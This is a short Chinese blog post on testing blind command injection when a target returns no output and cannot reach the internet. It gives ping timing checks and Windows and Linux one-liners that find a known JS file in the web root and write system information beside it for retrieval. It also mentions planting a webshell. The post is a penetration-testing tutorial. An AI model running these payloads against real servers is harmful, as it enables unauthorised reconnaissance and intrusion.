无回显、不出网命令执行测试方式
前言
本文主要讲的是无回显、不出网命令执行测试方法,首先通过大小写判断是linux还是win,然后通过命令自动查找目录写文件来测试。
这里没有这种环境就拿一个php的做演示(其实像这种可以直接写马在当前目录)
首先我们通过下面命令和响应包的时间判断存在命令执行(适用于win linux下使用-c)
ping -n 3 127.0.0.1
ping -n 4 127.0.0.1
然后在网站上找一个名字比较少见特殊的js(如果网站有上传图片的地方可以用你上传图片的名字)
windows下的测试方式
执行下面命令自动查找bsa.js并在其目录写入文件(由于可能不知道是什么盘可能需要多次尝试)
cmd /c "for /f %i in ('dir /s /b e:bsa.js') do (echo %i> %i.path.txt)%26(ipconfig > %i.ipconfig.txt)"
在 http://www.test.com/js/ 目录下访问 bsa.js.ipconfig.txt bsa.js.path.txt查看执行ifconfig的结果和路径
linux下的测试方式
使用下面的命令,自动查找bas.js并在其目录下生成test.txt写入id pwd ifconfig命令的结果
find / -name bas.js|while read f;do sh -c 'id;pwd;ifconfig' >$(dirname $f)/test.txt;done
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· .NET Core 中如何实现缓存的预热?
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 如何调用 DeepSeek 的自然语言处理 API 接口并集成到在线客服系统